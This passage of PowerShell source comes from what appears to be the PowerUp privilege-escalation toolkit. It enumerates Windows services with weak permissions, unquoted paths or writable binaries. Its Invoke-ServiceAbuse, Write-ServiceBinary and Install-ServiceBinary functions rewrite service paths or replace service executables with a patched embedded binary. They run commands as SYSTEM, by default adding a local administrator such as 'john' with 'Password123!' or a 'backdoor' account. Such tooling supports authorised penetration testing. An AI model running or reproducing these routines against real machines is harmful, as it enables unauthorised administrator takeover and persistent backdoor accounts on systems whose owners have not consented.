            $IndividualService = Get-Service -Name $ServiceName -ErrorAction Stop

            try {
                Write-Verbose "Add-ServiceDacl IndividualService : $($IndividualService.Name)"
                $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService
            }
            catch {
                $ServiceHandle = $Null
                Write-Verbose "Error opening up the service handle with read control for $($IndividualService.Name) : $_"
            }

            if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
                $SizeNeeded = 0

                $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

                # 122 == The data area passed to a system call is too small
                if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) {
                    $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded)

                    $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

                    if (-not $Result) {
                        Write-Error ([ComponentModel.Win32Exception] $LastError)
                    }
                    else {
                        $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0
                        $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object {
                            Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru
                        }

                        Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru
                    }
                }
                else {
                    Write-Error ([ComponentModel.Win32Exception] $LastError)
                }

                $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
            }
        }
    }
}


function Set-ServiceBinPath {
<#
    .SYNOPSIS

        Sets the binary path for a service to a specified value.

        Author: @harmj0y, Matthew Graeber (@mattifestation)
        License: BSD 3-Clause

    .DESCRIPTION

        Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a
        service handle to the service with ConfigControl access using the GetServiceHandle
        Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath)
        to the string value specified by binPath, and the handle is closed off.

        Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
        Dacl field to each object. It does this by opening a handle with ReadControl for the
        service with using the GetServiceHandle Win32 API call and then uses
        QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.

    .PARAMETER Name

        An array of one or more service names to set the binary path for. Required.

    .PARAMETER binPath

        The new binary path (lpBinaryPathName) to set for the specified service. Required.

    .OUTPUTS

        $True if configuration succeeds, $False otherwise.

    .EXAMPLE

        PS C:\> Set-ServiceBinPath -Name VulnSvc -BinPath 'net user john Password123! /add'

        Sets the binary path for 'VulnSvc' to be a command to add a user.

    .EXAMPLE

        PS C:\> Get-Service VulnSvc | Set-ServiceBinPath -BinPath 'net user john Password123! /add'

        Sets the binary path for 'VulnSvc' to be a command to add a user.

    .LINK

        https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx
#>

    param (
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String[]]
        [ValidateNotNullOrEmpty()]
        $Name,

        [Parameter(Position=1, Mandatory=$True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $binPath
    )

    BEGIN {
        filter Local:Get-ServiceConfigControlHandle {
            [OutputType([IntPtr])]
            param (
                [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
                [ServiceProcess.ServiceController]
                [ValidateNotNullOrEmpty()]
                $TargetService
            )

            $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')

            $ConfigControl = 0x00000002

            $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl))

            $RawHandle
        }
    }

    PROCESS {

        ForEach($IndividualService in $Name) {

            $TargetService = Get-Service -Name $IndividualService -ErrorAction Stop
            try {
                $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $TargetService
            }
            catch {
                $ServiceHandle = $Null
                Write-Verbose "Error opening up the service handle with read control for $IndividualService : $_"
            }

            if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {

                $SERVICE_NO_CHANGE = [UInt32]::MaxValue

                $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

                if ($Result -ne 0) {
                    Write-Verbose "binPath for $IndividualService successfully set to '$binPath'"
                    $True
                }
                else {
                    Write-Error ([ComponentModel.Win32Exception] $LastError)
                    $Null
                }

                $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
            }
        }
    }
}


function Test-ServiceDaclPermission {
<#
    .SYNOPSIS

        Tests one or more passed services or service names against a given permission set,
        returning the service objects where the current user have the specified permissions.

        Author: @harmj0y, Matthew Graeber (@mattifestation)
        License: BSD 3-Clause

    .DESCRIPTION

        Takes a service Name or a ServiceProcess.ServiceController on the pipeline, and first adds
        a service Dacl to the service object with Add-ServiceDacl. All group SIDs for the current
        user are enumerated services where the user has some type of permission are filtered. The
        services are then filtered against a specified set of permissions, and services where the
        current user have the specified permissions are returned.

    .PARAMETER Name

        An array of one or more service names to test against the specified permission set.

    .PARAMETER Permissions

        A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
        'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
        'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
        'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'

    .PARAMETER PermissionSet

        A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'.

    .OUTPUTS

        ServiceProcess.ServiceController

    .EXAMPLE

        PS C:\> Get-Service | Test-ServiceDaclPermission

        Return all service objects where the current user can modify the service configuration.

    .EXAMPLE

        PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'

        Return all service objects that the current user can restart.


    .EXAMPLE

        PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -Name 'VulnSVC'

        Return the VulnSVC object if the current user has start permissions.

    .LINK

        https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
#>

    [OutputType('ServiceProcess.ServiceController')]
    param (
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String[]]
        [ValidateNotNullOrEmpty()]
        $Name,

        [String[]]
        [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')]
        $Permissions,

        [String]
        [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')]
        $PermissionSet = 'ChangeConfig'
    )

    BEGIN {
        $AccessMask = @{
            'QueryConfig'           = [uint32]'0x00000001'
            'ChangeConfig'          = [uint32]'0x00000002'
            'QueryStatus'           = [uint32]'0x00000004'
            'EnumerateDependents'   = [uint32]'0x00000008'
            'Start'                 = [uint32]'0x00000010'
            'Stop'                  = [uint32]'0x00000020'
            'PauseContinue'         = [uint32]'0x00000040'
            'Interrogate'           = [uint32]'0x00000080'
            'UserDefinedControl'    = [uint32]'0x00000100'
            'Delete'                = [uint32]'0x00010000'
            'ReadControl'           = [uint32]'0x00020000'
            'WriteDac'              = [uint32]'0x00040000'
            'WriteOwner'            = [uint32]'0x00080000'
            'Synchronize'           = [uint32]'0x00100000'
            'AccessSystemSecurity'  = [uint32]'0x01000000'
            'GenericAll'            = [uint32]'0x10000000'
            'GenericExecute'        = [uint32]'0x20000000'
            'GenericWrite'          = [uint32]'0x40000000'
            'GenericRead'           = [uint32]'0x80000000'
            'AllAccess'             = [uint32]'0x000F01FF'
        }

        $CheckAllPermissionsInSet = $False

        if($PSBoundParameters['Permissions']) {
            $TargetPermissions = $Permissions
        }
        else {
            if($PermissionSet -eq 'ChangeConfig') {
                $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess')
            }
            elseif($PermissionSet -eq 'Restart') {
                $TargetPermissions = @('Start', 'Stop')
                $CheckAllPermissionsInSet = $True # so we check all permissions && style
            }
            elseif($PermissionSet -eq 'AllAccess') {
                $TargetPermissions = @('GenericAll', 'AllAccess')
            }
        }
    }

    PROCESS {

        ForEach($IndividualService in $Name) {

            $TargetService = $IndividualService | Add-ServiceDacl

            if($TargetService -and $TargetService.Dacl) {

                # enumerate all group SIDs the current user is a part of
                $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
                $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
                $CurrentUserSids += $UserIdentity.User.Value

                ForEach($ServiceDacl in $TargetService.Dacl) {
                    if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) {

                        if($CheckAllPermissionsInSet) {
                            $AllMatched = $True
                            ForEach($TargetPermission in $TargetPermissions) {
                                # check permissions && style
                                if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) {
                                    # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)"
                                    $AllMatched = $False
                                    break
                                }
                            }
                            if($AllMatched) {
                                $TargetService
                            }
                        }
                        else {
                            ForEach($TargetPermission in $TargetPermissions) {
                                # check permissions || style
                                if (($ServiceDacl.AceType -eq 'AccessAllowed') -and ($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) {
                                    Write-Verbose "Current user has '$TargetPermission' for $IndividualService"
                                    $TargetService
                                    break
                                }
                            }
                        }
                    }
                }
            }
            else {
                Write-Verbose "Error enumerating the Dacl for service $IndividualService"
            }
        }
    }
}


########################################################
#
# Service enumeration
#
########################################################

function Get-ServiceUnquoted {
<#
    .SYNOPSIS

        Returns the name and binary path for services with unquoted paths
        that also have a space in the name.

    .EXAMPLE

        PS C:\> $services = Get-ServiceUnquoted

        Get a set of potentially exploitable services.

    .LINK

        https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb
#>
    [CmdletBinding()] param()

    # find all paths to service .exe's that have a space in the path and aren't quoted
    $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"}

    if ($VulnServices) {
        ForEach ($Service in $VulnServices) {

            $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath

            $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
                $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name

                if($ServiceRestart) {
                    $CanRestart = $True
                }
                else {
                    $CanRestart = $False
                }

                $Out = New-Object PSObject
                $Out | Add-Member Noteproperty 'ServiceName' $Service.name
                $Out | Add-Member Noteproperty 'Path' $Service.pathname
                $Out | Add-Member Noteproperty 'ModifiablePath' $_
                $Out | Add-Member Noteproperty 'StartName' $Service.startname
                $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>"
                $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
                $Out
            }
        }
    }
}


function Get-ModifiableServiceFile {
<#
    .SYNOPSIS

        Enumerates all services and returns vulnerable service files.

    .DESCRIPTION

        Enumerates all services by querying the WMI win32_service class. For each service,
        it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
        if the current user has rights to modify the service binary itself or any associated
        arguments. If the associated binary (or any configuration files) can be overwritten,
        privileges may be able to be escalated.

    .EXAMPLE

        PS C:\> Get-ModifiableServiceFile

        Get a set of potentially exploitable service binares/config files.
#>
    [CmdletBinding()] param()

    Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object {

        $ServiceName = $_.name
        $ServicePath = $_.pathname
        $ServiceStartName = $_.startname

        $ServicePath | Get-ModifiablePath | ForEach-Object {

            $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName

            if($ServiceRestart) {
                $CanRestart = $True
            }
            else {
                $CanRestart = $False
            }

            $Out = New-Object PSObject
            $Out | Add-Member Noteproperty 'ServiceName' $ServiceName
            $Out | Add-Member Noteproperty 'Path' $ServicePath
            $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
            $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
            $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
            $Out | Add-Member Noteproperty 'StartName' $ServiceStartName
            $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -Name '$ServiceName'"
            $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
            $Out
        }
    }
}


function Get-ModifiableService {
<#
    .SYNOPSIS

        Enumerates all services and returns services for which the current user can modify the binPath.

    .DESCRIPTION

        Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
        the current user has rights to change the service configuration.

    .EXAMPLE

        PS C:\> Get-ModifiableService

        Get a set of potentially exploitable services.
#>
    [CmdletBinding()] param()

    Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {

        $ServiceDetails = $_ | Get-ServiceDetail

        $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'

        if($ServiceRestart) {
            $CanRestart = $True
        }
        else {
            $CanRestart = $False
        }

        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
        $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
        $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
        $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"
        $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
        $Out
    }
}


function Get-ServiceDetail {
<#
    .SYNOPSIS

        Returns detailed information about a specified service by querying the
        WMI win32_service class for the specified service name.

    .DESCRIPTION

        Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
        the pipeline object returned by Get-Service, extracts out the service name, queries the
        WMI win32_service class for the specified service for details like binPath, and outputs
        everything.

    .PARAMETER Name

        An array of one or more service names to query information for.

    .EXAMPLE

        PS C:\> Get-ServiceDetail -Name VulnSVC

        Gets detailed information about the 'VulnSVC' service.

    .EXAMPLE

        PS C:\> Get-Service VulnSVC | Get-ServiceDetail

        Gets detailed information about the 'VulnSVC' service.
#>

    param (
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String[]]
        [ValidateNotNullOrEmpty()]
        $Name
    )

    PROCESS {

        ForEach($IndividualService in $Name) {

            $TargetService = Get-Service -Name $IndividualService

            Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object {
                try {
                    $_
                }
                catch{
                    Write-Verbose "Error: $_"
                    $null
                }
            }
        }
    }
}


########################################################
#
# Service abuse
#
########################################################

function Invoke-ServiceAbuse {
<#
    .SYNOPSIS

        Abuses a function the current user has configuration rights on in order
        to add a local administrator or execute a custom command.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
        user has configuration modification rights on and executes a series of automated actions to
        execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the
        original service binary path and configuration state are preserved. Then the service is stopped
        and the Set-ServiceBinPath function is used to set the binary (binPath) for the service to a
        series of commands, the service is started, stopped, and the next command is configured. After
        completion, the original service configuration is restored and a custom object is returned
        that captures the service abused and commands run.

    .PARAMETER Name

        An array of one or more service names to abuse.

    .PARAMETER UserName

        The [domain\]username to add. If not given, it defaults to "john".
        Domain users are not created, only added to the specified localgroup.

    .PARAMETER Password

        The password to set for the added user. If not given, it defaults to "Password123!"

    .PARAMETER LocalGroup

        Local group name to add the user to (default of 'Administrators').

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object specifying the user/password to add.

    .PARAMETER Command

        Custom command to execute instead of user creation.

    .PARAMETER Force

        Switch. Force service stopping, even if other services are dependent.

    .EXAMPLE

        PS C:\> Invoke-ServiceAbuse -Name VulnSVC

        Abuses service 'VulnSVC' to add a localuser "john" with password
        "Password123! to the  machine and local administrator group

    .EXAMPLE

        PS C:\> Get-Service VulnSVC | Invoke-ServiceAbuse

        Abuses service 'VulnSVC' to add a localuser "john" with password
        "Password123! to the  machine and local administrator group

    .EXAMPLE

        PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName "TESTLAB\john"

        Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the
        local adminisrtators group.

    .EXAMPLE

        PS C:\> Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users"

        Abuses service 'VulnSVC' to add a localuser "backdoor" with password
        "password" to the  machine and local "Power Users" group

    .EXAMPLE

        PS C:\> Invoke-ServiceAbuse -Name VulnSVC -Command "net ..."

        Abuses service 'VulnSVC' to execute a custom command.
#>

    param (
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String[]]
        [ValidateNotNullOrEmpty()]
        $Name,

        [String]
        $UserName = 'john',

        [String]
        $Password = 'Password123!',

        [String]
        $LocalGroup = 'Administrators',

        [Management.Automation.PSCredential]
        $Credential,

        [String]
        [ValidateNotNullOrEmpty()]
        $Command,

        [Switch]
        $Force
    )

    BEGIN {

        if($PSBoundParameters['Command']) {
            $ServiceCommands = @($Command)
        }

        else {
            if($PSBoundParameters['Credential']) {
                $UserNameToAdd = $Credential.UserName
                $PasswordToAdd = $Credential.GetNetworkCredential().Password
            }
            else {
                $UserNameToAdd = $UserName
                $PasswordToAdd = $Password
            }

            if($UserNameToAdd.Contains('\')) {
                # only adding a domain user to the local group, no user creation
                $ServiceCommands = @("net localgroup $LocalGroup $UserNameToAdd /add")
            }
            else {
                # create a local user and add it to the local specified group
                $ServiceCommands = @("net user $UserNameToAdd $PasswordToAdd /add", "net localgroup $LocalGroup $UserNameToAdd /add")
            }
        }
    }

    PROCESS {

        ForEach($IndividualService in $Name) {

            $TargetService = Get-Service -Name $IndividualService

            $ServiceDetails = $TargetService | Get-ServiceDetail

            $RestoreDisabled = $False
            if ($ServiceDetails.StartMode -match 'Disabled') {
                Write-Verbose "Service '$(ServiceDetails.Name)' disabled, enabling..."
                $TargetService | Set-Service -StartupType Manual -ErrorAction Stop
                $RestoreDisabled = $True
            }

            $OriginalServicePath = $ServiceDetails.PathName
            $OriginalServiceState = $ServiceDetails.State

            Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'"
            Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'"

            ForEach($ServiceCommand in $ServiceCommands) {

                if($PSBoundParameters['Force']) {
                    $TargetService | Stop-Service -Force -ErrorAction Stop
                }
                else {
                    $TargetService | Stop-Service -ErrorAction Stop
                }

                Write-Verbose "Executing command '$ServiceCommand'"

                $Success = $TargetService | Set-ServiceBinPath -binPath "$ServiceCommand"

                if (-not $Success) {
                    throw "Error reconfiguring the binPath for $($TargetService.Name)"
                }

                $TargetService | Start-Service -ErrorAction SilentlyContinue
                Start-Sleep -Seconds 2
            }

            if($PSBoundParameters['Force']) {
                $TargetService | Stop-Service -Force -ErrorAction Stop
            }
            else {
                $TargetService | Stop-Service -ErrorAction Stop
            }

            Write-Verbose "Restoring original path to service '$($TargetService.Name)'"
            Start-Sleep -Seconds 1
            $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath"

            if (-not $Success) {
                throw "Error restoring the original binPath for $($TargetService.Name)"
            }

            # try to restore the service to whatever the service's original state was
            if($RestoreDisabled) {
                Write-Verbose "Re-disabling service '$($TargetService.Name)'"
                $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop
            }
            elseif($OriginalServiceState -eq "Paused") {
                Write-Verbose "Starting and then pausing service '$($TargetService.Name)'"
                $TargetService | Start-Service
                Start-Sleep -Seconds 1
                $TargetService | Set-Service -Status Paused -ErrorAction Stop
            }
            elseif($OriginalServiceState -eq "Stopped") {
                Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state"
            }
            else {
                Write-Verbose "Restarting '$($TargetService.Name)'"
                $TargetService | Start-Service
            }

            $Out = New-Object PSObject
            $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name
            $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ')
            $Out
        }
    }
}


function Write-ServiceBinary {
<#
    .SYNOPSIS

        Patches in the specified command to a pre-compiled C# service executable and
        writes the binary out to the specified ServicePath location.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        Takes a pre-compiled C# service binary and patches in the appropriate commands needed
        for service abuse. If a -UserName/-Password or -Credential is specified, the command
        patched in creates a local user and adds them to the specified -LocalGroup, otherwise
        the specified -Command is patched in. The binary is then written out to the specified
        -ServicePath. Either -Name must be specified for the service, or a proper object from
        Get-Service must be passed on the pipeline in order to patch in the appropriate service
        name the binary will be running under.

    .PARAMETER Name

        The service name the EXE will be running under.

    .PARAMETER UserName

        The [domain\]username to add. If not given, it defaults to "john".
        Domain users are not created, only added to the specified localgroup.

    .PARAMETER Password

        The password to set for the added user. If not given, it defaults to "Password123!"

    .PARAMETER LocalGroup

        Local group name to add the user to (default of 'Administrators').

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object specifying the user/password to add.

    .PARAMETER Command

        Custom command to execute instead of user creation.

    .PARAMETER Path

        Path to write the binary out to, defaults to 'service.exe' in the local directory.

    .EXAMPLE

        PS C:\> Write-ServiceBinary -Name VulnSVC

        Writes a service binary to service.exe in the local directory for VulnSVC that
        adds a local Administrator (john/Password123!).

    .EXAMPLE

        PS C:\> Get-Service VulnSVC | Write-ServiceBinary

        Writes a service binary to service.exe in the local directory for VulnSVC that
        adds a local Administrator (john/Password123!).

    .EXAMPLE

        PS C:\> Write-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'

        Writes a service binary to service.exe in the local directory for VulnSVC that adds
        TESTLAB\john to the Administrators local group.

    .EXAMPLE

        PS C:\> Write-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!

        Writes a service binary to service.exe in the local directory for VulnSVC that
        adds a local Administrator (backdoor/Password123!).

    .EXAMPLE

        PS C:\> Write-ServiceBinary -Name VulnSVC -Command "net ..."

        Writes a service binary to service.exe in the local directory for VulnSVC that
        executes a custom command.
#>

    Param(
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String]
        [ValidateNotNullOrEmpty()]
        $Name,

        [String]
        $UserName = 'john',

        [String]
        $Password = 'Password123!',

        [String]
        $LocalGroup = 'Administrators',

        [Management.Automation.PSCredential]
        $Credential,

        [String]
        [ValidateNotNullOrEmpty()]
        $Command,

        [String]
        $Path = "$(Convert-Path .)\service.exe"
    )

    BEGIN {
        # the raw unpatched service binary
        $B64Binary = "[encoded data, 29356 characters]"
        [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary)

        if($PSBoundParameters['Command']) {
            $ServiceCommand = $Command
        }
        else {
            if($PSBoundParameters['Credential']) {
                $UserNameToAdd = $Credential.UserName
                $PasswordToAdd = $Credential.GetNetworkCredential().Password
            }
            else {
                $UserNameToAdd = $UserName
                $PasswordToAdd = $Password
            }

            if($UserNameToAdd.Contains('\')) {
                # only adding a domain user to the local group, no user creation
                $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
            }
            else {
                # create a local user and add it to the local specified group
                $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
            }
        }
    }

    PROCESS {

        $TargetService = Get-Service -Name $Name

        # get the unicode byte conversions of all arguments
        $Enc = [System.Text.Encoding]::Unicode
        $ServiceNameBytes = $Enc.GetBytes($TargetService.Name)
        $CommandBytes = $Enc.GetBytes($ServiceCommand)

        # patch all values in to their appropriate locations
        for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) {
            # service name offset = 2458
            $Binary[$i+2458] = $ServiceNameBytes[$i]
        }
        for ($i=0; $i -lt ($CommandBytes.Length); $i++) {
            # cmd offset = 2535
            $Binary[$i+2535] = $CommandBytes[$i]
        }

        Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop

        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name
        $Out | Add-Member Noteproperty 'Path' $Path
        $Out | Add-Member Noteproperty 'Command' $ServiceCommand
        $Out
    }
}


function Install-ServiceBinary {
<#
    .SYNOPSIS

        Replaces the service binary for the specified service with one that executes
        a specified command as SYSTEM.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the
        current user can  modify the associated service binary listed in the binPath. Backs up
        the original service binary to "OriginalService.exe.bak" in service binary location,
        and then uses Write-ServiceBinary to create a C# service binary that either adds
        a local administrator user or executes a custom command. The new service binary is
        replaced in the original service binary path, and a custom object is returned that
        captures the original and new service binary configuration.

    .PARAMETER Name

        The service name the EXE will be running under.

    .PARAMETER UserName

        The [domain\]username to add. If not given, it defaults to "john".
        Domain users are not created, only added to the specified localgroup.

    .PARAMETER Password

        The password to set for the added user. If not given, it defaults to "Password123!"

    .PARAMETER LocalGroup

        Local group name to add the user to (default of 'Administrators').

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object specifying the user/password to add.

    .PARAMETER Command

        Custom command to execute instead of user creation.

    .EXAMPLE

        PS C:\> Install-ServiceBinary -Name VulnSVC

        Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
        for VulnSVC with one that adds a local Administrator (john/Password123!).

    .EXAMPLE

        PS C:\> Get-Service VulnSVC | Install-ServiceBinary

        Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
        for VulnSVC with one that adds a local Administrator (john/Password123!).

    .EXAMPLE

        PS C:\> Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'

        Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
        for VulnSVC with one that adds TESTLAB\john to the Administrators local group.

    .EXAMPLE

        PS C:\> Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!

        Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
        for VulnSVC with one that adds a local Administrator (backdoor/Password123!).

    .EXAMPLE

        PS C:\> Install-ServiceBinary -Name VulnSVC -Command "net ..."

        Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
        for VulnSVC with one that executes a custom command.
#>

    Param(
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String]
        [ValidateNotNullOrEmpty()]
        $Name,

        [String]
        $UserName = 'john',

        [String]
        $Password = 'Password123!',

        [String]
        $LocalGroup = 'Administrators',

        [Management.Automation.PSCredential]
        $Credential,

        [String]
        [ValidateNotNullOrEmpty()]
        $Command
    )

    BEGIN {
        if($PSBoundParameters['Command']) {
            $ServiceCommand = $Command
        }
        else {
            if($PSBoundParameters['Credential']) {
                $UserNameToAdd = $Credential.UserName
                $PasswordToAdd = $Credential.GetNetworkCredential().Password
            }
            else {
                $UserNameToAdd = $UserName
                $PasswordToAdd = $Password
            }

            if($UserNameToAdd.Contains('\')) {
                # only adding a domain user to the local group, no user creation
                $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
            }
            else {
                # create a local user and add it to the local specified group
                $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
            }
        }
    }

    PROCESS {

        $TargetService = Get-Service -Name $Name

        $ServiceDetails = $TargetService | Get-ServiceDetail

        $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths

        if(-not $ModifiableFiles) {
            throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
        }

        $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
        $BackupPath = "$($ServicePath).bak"

        Write-Verbose "Backing up '$ServicePath' to '$BackupPath'"

        try {
            Copy-Item -Path $ServicePath -Destination $BackupPath -Force
        }
        catch {
            Write-Warning "Error backing up '$ServicePath' : $_"
        }

        $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath
        $Result | Add-Member Noteproperty 'BackupPath' $BackupPath
        $Result
    }
}


function Restore-ServiceBinary {
<#
    .SYNOPSIS

